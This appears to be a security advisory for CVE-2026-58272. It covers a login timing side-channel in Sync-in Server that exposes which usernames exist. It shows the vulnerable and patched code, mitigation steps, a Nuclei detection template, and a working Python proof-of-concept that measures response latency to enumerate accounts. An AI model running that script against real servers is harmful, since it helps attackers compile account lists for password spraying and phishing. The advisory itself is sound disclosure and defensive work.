CVE-2026-58272: Username Enumeration via Timing Side-Channel in Sync-in Server

The vulnerability is located within the authentication component of the Sync-in Server, an open-source secure collaboration and file synchronization platform. The authentication endpoint (POST /api/auth/login) acts as the primary gateway for user access control, interacting with local, LDAP, or OIDC directory backends. This system exposes a public-facing network interface that handles user lookup and password evaluation prior to establishing active user sessions.

An observable timing discrepancy (classified under CWE-208) exists due to the conditional execution of the password hashing function. When processing a login request, the application first queries the database to locate the requested username or email. If the lookup returns no matching record, the system immediately returns an unauthorized error response to the client.

Conversely, if the account exists, the application proceeds to verify the provided credentials against the stored hash using a CPU-heavy hashing algorithm. This creates an asymmetric execution path where existing accounts require substantially more processing time than non-existent accounts. Consequently, remote unauthenticated entities can measure the latency differences over the network to reconstruct a complete list of valid directory accounts.

The root cause of CVE-2026-58272 lies in the backend verification logic where the database validation functions exit early when user records are missing. In vulnerable versions, the local authentication repository handles database queries via the UsersManager component. If the requested identifier is not found in the persistent store, the function returns a null response immediately to the HTTP controller without executing subsequent logic.

When a valid user is identified, the system must verify the submitted credential. This verification invokes comparePassword(), which relies on bcrypt.compare() to authenticate the user. The bcrypt algorithm is deliberately configured with a work factor designed to delay operations, which consumes between 100 milliseconds and 150 milliseconds of CPU execution time depending on server hardware specifications.

The timing side-channel manifests because of this execution path divergence. A failed user lookup executes and returns within approximately 1 to 3 milliseconds, as it only encompasses database index lookup operations. A correct user lookup with an incorrect password forces a full cryptographic verification step, consuming the full bcrypt cycle. This 100ms discrepancy is highly discernible over typical internet routes and remains completely reliable over local networks.

The vulnerable logic is located within backend/src/authentication/providers/mysql/auth-provider-mysql.service.ts. The implementation of the validation routine handles user lookups and authentication separately, causing the short-circuit behavior shown below:

// VULNERABLE CODE
async validateUser(loginOrEmail: string, password: string, ip?: string, scope?: AUTH_SCOPE): Promise<UserModel> {
  let user: UserModel
  try {
    user = await this.usersManager.findUser(loginOrEmail, false)
  } catch (e) {
    this.logger.error({ tag: this.validateUser.name, msg: `${e}` })
    throw new HttpException('Authentication service error', HttpStatus.INTERNAL_SERVER_ERROR)
  }
  
  if (!user) {
    this.logger.warn({ tag: this.validateUser.name, msg: `login or email not found for *${loginOrEmail}*` })
    return null // EARLY EXIT: Skipping bcrypt comparison
  }
  
  return await this.usersManager.logUser(user, password, ip, scope) // Triggers comparePassword()
}

The patch committed in release 2.4.1 restructures this workflow by routing both valid and invalid pathways through a centralized function that enforces symmetric execution times. It introduces dummy comparisons to simulate bcrypt execution when user lookups fail, as shown in backend/src/applications/users/services/users-manager.service.ts:

// PATCHED CODE
async validateLocalPasswordForUser(
  user: UserModel | null,
  loginOrEmail: string,
  password: string,
  ip?: string,
  scope?: AUTH_SCOPE,
  canAuthenticate?: (user: UserModel) => boolean
): Promise<UserModel | null> {
  if (!user) {
    this.logger.warn({ tag: this.validateLocalPasswordForUser.name, msg: `login or email not found for *${loginOrEmail}*` })
    await comparePassword(password, null) // BURNS TIME: Executes dummy bcrypt hashing
    if (scope) {
      await comparePassword(password, null) // Burns time for scoped credential simulation
    }
    return null
  }
  if (canAuthenticate && !canAuthenticate(user)) {
    await comparePassword(password, null) // BURNS TIME
    if (scope) {
      await comparePassword(password, null)
    }
    return null
  }
  return this.logUser(user, password, ip, scope)
}

In the modified design, when user evaluates to null, the function invokes comparePassword(password, null). Inside the password utility, passing a null target hash forces the code to execute a cryptographic hash on a pre-defined constant string with the same work factor. This process equalizes the response time for invalid lookups, neutralizing the timing side-channel.

Exploitation does not require active sessions or access tokens. An attacker requires only network access to the API route and a target dictionary of usernames or emails. To execute account enumeration, the attacker can leverage the different latency profiles of existing versus non-existent accounts.

First, the attacker sends multiple requests containing highly randomized strings to establish a low-end execution baseline. This baseline represents the network transit time combined with the database select query latency. The attacker then targets specific accounts and calculates the median response latency over several iterations to filter out network jitter. Any request yielding a latency significantly higher than the baseline identifies a valid user account.

The following Python script functions as a Proof-of-Concept to perform timing analysis and isolate valid users:

#!/usr/bin/env python3
import time
import requests
import statistics
 
TARGET_URL = "http://localhost:3000/api/auth/login"
USERNAMES = ["admin", "nonexistent_9912", "john.doe@sync-in.test", "invalid_user"]
SAMPLES = 5
 
def check_latency(username):
    latencies = []
    for _ in range(SAMPLES):
        start = time.perf_counter()
        try:
            requests.post(TARGET_URL, json={"loginOrEmail": username, "password": "Dummy123"}, timeout=5)
        except requests.RequestException:
            continue
        latencies.append((time.perf_counter() - start) * 1000)
    return statistics.median(latencies) if latencies else 0
 
baseline = check_latency("definitely_nonexistent_account_192837")
threshold = baseline + 50.0  # Split difference between ~2ms and ~100ms
print(f"Baseline: {baseline:.2f}ms. Threshold: {threshold:.2f}ms.\n")
 
for user in USERNAMES:
    latency = check_latency(user)
    status = "EXISTS" if latency > threshold else "NOT FOUND"
    print(f"{user:<25} | Latency: {latency:>6.2f}ms | Status: {status}")

The impact of CVE-2026-58272 is categorized as confidentiality loss of internal server metadata. Unauthenticated attackers can silently list active user accounts, administrative emails, and active directory identities on the instance. This exposure directly bypasses typical account isolation configurations designed to keep user directories private.

Exposing valid account names significantly reduces the difficulty of downstream authentication attacks. Attackers can compile lists of discovered usernames to run credential stuffing attacks or targeted password-spraying pipelines. Knowing which accounts exist allows attackers to avoid triggering brute-force lockouts on non-existent usernames, keeping target system alarms minimal.

Additionally, the list of discovered accounts can be weaponized in targeted phishing and social engineering campaigns. Identifying highly privileged accounts, such as system administrators or executive users, allows adversaries to focus their exploitation resources on high-value targets, potentially escalating the compromise to a full system intrusion.

The primary resolution is updating the Sync-in Server installation to version 2.4.1 or later. This release incorporates the timing defense wrappers in all authentication drivers, including the LDAP, MySQL, and OIDC subsystems, ensuring constant time performance for both successful and unsuccessful identification lookups.

If upgrading immediately is not feasible, proxy-level mitigations should be implemented. Administrators should deploy strict rate-limiting rules at the reverse proxy or Web Application Firewall layer. Restricting requests to the /api/auth/login endpoint to 5 requests per minute per IP address will heavily limit the speed of systematic enumeration sweeps.

Security teams can verify vulnerability status using custom detection engines. The following Nuclei template can be deployed to identify unpatched instances by verifying whether response latencies fall below expected hashing durations:

id: CVE-2026-58272-timing-sidechannel
info:
  name: Sync-in Server Username Enumeration Timing Side-Channel
  author: security-researcher
  severity: medium
  classification:
    cwe-id: CWE-208
http:
  - raw:
      - |
        POST /api/auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
 
        {"loginOrEmail": "nonexistent_user_for_timing_test_9019", "password": "DummyPassword123!"}
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 401
          - 400
      - type: dsl
        dsl:
          - "duration < 25"